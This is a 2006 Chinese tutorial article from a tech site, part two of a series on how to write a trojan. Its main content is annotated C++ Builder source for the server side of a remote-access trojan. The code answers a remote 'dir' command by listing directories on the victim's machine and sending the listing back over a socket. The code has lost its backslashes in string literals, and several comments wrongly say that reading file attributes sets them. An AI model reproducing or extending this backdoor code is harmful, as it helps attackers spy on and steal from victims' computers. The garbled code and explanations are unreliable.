注册通行证 用户名 密码
  • 文章投稿
  • 博客
  • 论坛
  • 设为首页
  • 加入收藏
jztop.com网络技术
  • 首页
  • | iT新闻
  • | 操作系统
  • | 组网建网
  • | 网络安全
  • | 程序开发
  • | 办公一族
  • | 工具软件
  • | 网页制作
  • | 多媒体制作
  • | 网吧技术
  • | 服务器
  • | 专题教程
Vista | 软件评测 | 系统备份 | 优化 | 进程 | 聊天 | 病毒 | Linux | 黑客 | 防火墙 | 数据库 | Web开发 | Java | Word | 游戏 | 32位开发 | 移动开发
当前位置:首页 > 网络安全 > 安全产品 > 安全工具 内容正文:木马是如何编写的(二)

木马是如何编写的(二)

发布时间:2006-02-18 02:39:13 来源:黑基 网友评论 0 条

这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲啰:

{

else if(temp.SubString(0,3)=="dir")

{

//如果前3个字符是“dir”

int Read_Num;

char * CR_LF="n";

int attrib;

char *filename;

DIR *dir;

struct dirent *ent;

int number=temp.Length();

//得到字符串的长度

AnsiString Dir_Name=temp.SubString(5,number-3);

//从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名

if(Dir_Name=="")

{

//如果目录名为空

Socket->SendText("Fail By Open DIR's Name");

//返回“Fail By Open DIR's Name”信息

goto END;

//跳到END

}

char * dirname;

dirname=Dir_Name.c_str();

if ((dir = opendir(dirname)) == NULL)

{

//如果打开目录出错

Socket->SendText("Fail by your DIR's name!");

//返回“Fail By Your DIR's Name”信息

goto END;

//跳到END

}

times_of_try=0;

while(fp==NULL)

{

//如果指针是NULL

fp=fopen(TempFile,"w+");

//就创建systemWin369.bat准备读和写;如果此文件已存在,则会被覆盖

times_of_try=times_of_try+1;

//计数器加1

if(times_of_try>100)

{

//如果已经试了100次了,仍未成功(真有耐心!)

Socket->SendText("Fail By Open File");

//就发回“Fail By Open File”的错误信息

goto END;

//并跳到END处

}

}

while ((ent = readdir(dir)) != NULL)

{

//如果访问目标目录成功

if(*(AnsiString(dirname)).AnsiLastChar()!='')

//如果最后一个字符不是“”,证明不是根目录

filename=(AnsiString(dirname)+""+ent->d_name).c_str();

//加上“”字符后将指针指向目录流

else

filename=(AnsiString(dirname)+ent->d_name).c_str();

//如果是根目录,则不用加“”

attrib=_rtl_chmod(filename, 0);

//得到目标文件的访问属性

if (attrib & FA_RDONLY)

//“&”字符是比较前后两个变量,如果相同返回1,否则返回0

fwrite(" R",sizeof(char),3,fp);

//将目标文件属性设为只读

else

fwrite(" ",sizeof(char),3,fp);

//失败则写入空格

if (attrib & FA_HIDDEN)

fwrite("H",sizeof(char),1,fp);

//将目标文件属性设为隐藏

else

fwrite(" ",sizeof(char),1,fp);

//失败则写入空格

if (attrib & FA_SYSTEM)

fwrite("S",sizeof(char),1,fp);

//将目标文件属性设为系统

else

fwrite(" ",sizeof(char),1,fp);

//失败则写入空格

if (attrib & FA_ARCH)

fwrite("A",sizeof(char),1,fp);

//将目标文件属性设为普通

else

fwrite(" ",sizeof(char),1,fp);

//失败则写入空格

if (attrib & FA_DIREC)

fwrite("

",sizeof(char),9,fp);

//将目标文件属性设为目录

else

fwrite(" ",sizeof(char),9,fp);

//失败则写入空格

fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);

//将目录名写入目标文件

fwrite(CR_LF,1,1,fp);

//写入换行

}

fclose(fp);

//关闭文件

closedir(dir);

//关闭目录

FILE *fp1=NULL;

times_of_try=0;

while(fp1==NULL)

{

fp1=fopen(TempFile,"r");

//打开Win369.bat准备读

times_of_try=times_of_try+1;

//计数器加1

if(times_of_try>100)

{

//如果已经试了100次了,仍未成功

Socket->SendText("Fail By Open File");

//就发回“Fail By Open File”的错误信息

goto END;

//并跳到END处

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i<300;i++) temp_content='';

//定义的一个空数组

Read_Num=fread(temp_content,1,300,fp1);

//从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

//Return_Text变量加上刚才的300个字符

for(int i=0;i<300;i++) temp_content='';

Read_Num=fread(temp_content,1,300,fp1);

//重复

};

Return_Text=Return_Text+temp_content;

//Return_Text变量加上刚才的300个字符

fclose(fp1);

//关闭目标文件

Socket->SendText(Return_Text);

//返回Return_Text变量的内容

}

}

 1/2    1 2 ›› ›|
相关文章
  • 木马是如何编写的(三)
  • 木马是如何编写的(一)
  • “VB木马”破坏office文档 用户小心防范
  • 危害性更大 媒体文件木马攻防实战
【评论】【收藏本文】【打印】【关闭】
上一篇文章:木马是如何编写的(一)
下一篇文章:木马是如何编写的(三)
讨论区
查看
已有 0 位对此新闻感兴趣的网友发表了看法
匿名发表
注册通行证 登陆
图文阅读推荐
光华反病毒软件之屏保杀毒
光华反病毒软件之屏保杀毒
杀毒软件进入全球竞争时代
杀毒软件进入全球竞争时代
走出误区 教你杀毒软件到底该怎么用
走出误区 教你杀毒软件到底该怎么用
如何用Procexp和Autoruns工具识别与删除木马程序
如何用Procexp和Autoruns工具识别与删除木马程序
推荐阅讯
  • 评论:杀毒厂商竟然惹不起流氓软件?
  • 木马是如何编写的(二)
  • 卸载240款插件 360安全卫士新版测试
  • 保护系统安全 360安全卫士热评
  • sxs.exe 病毒专杀工具
  • 能上网就能杀毒!“瑞星在线杀毒”简介
  • 打造可管理的安全 瑞星新产品剑指国外厂商
  • 光华反病毒软件之屏保杀毒
  • svhost32.exe,msdll.dl 梦幻木马解决方案
  • 小问答:让卡巴斯基扫描我发送的邮件
阅读排行
  • 1.sxs.exe 病毒专杀工具
  • 2.winlogon.exe病毒的查杀方法(落雪病毒专杀工
  • 3.lsass.exe病毒的查杀方法,附专杀工具
  • 4.木马 wol.exe KB49400M.LOG 清除方法
  • 5.征途木马病毒ztdll.dll和svhost32.exe的解决
  • 6.svhost32.exe,msdll.dl 梦幻木马解决方案
  • 7.comine.exe 病毒清除方法
  • 8.卡巴斯基6.0使用感受!
  • 9.“落雪”木马疯狂盗号 下载江民专杀
  • 10.加速你的杀毒引擎 卡巴斯基设置教程
专题教程
  • 大话G游 专题:手机病毒揭密
  • ARP攻击防范与解决方案 路由故障处理手册
  • Picasa中文版_Picasa教程 专题:清除流氓软件
  • Firefox专题 seo搜索引擎优化专区
  • 重装Windows必知的事情 装机之必备软件大行动
病毒专杀栏
  • 杀毒软件反被病毒杀 连"救命"都不能喊
  • 金山ARP防火墙
  • 还原卡神话破灭“机器狗”病毒来势汹汹
  • cctv经济半小时:你的手机现在安全吗?
  • 新挂马方式开始流行 ARP挂马称雄局域网
  • 木马和病毒清除的通用解法
  • IP地址不再冲突 查找ARP攻击者元凶
  • 教你几招识别和防御Web网页木马
  • 分析:封杀BT只是暂时的止痛药
  • QQ爆危险漏洞,“QQ游戏邀请大盗”邀请你玩病
关于我们 | 诚聘英才 | 联系我们 | 版权声明 | 网站大事 | 网站地图 | 意见建议
CopyRight 2005-2007 Jztop.Com 版权所有 未经许可 请勿转载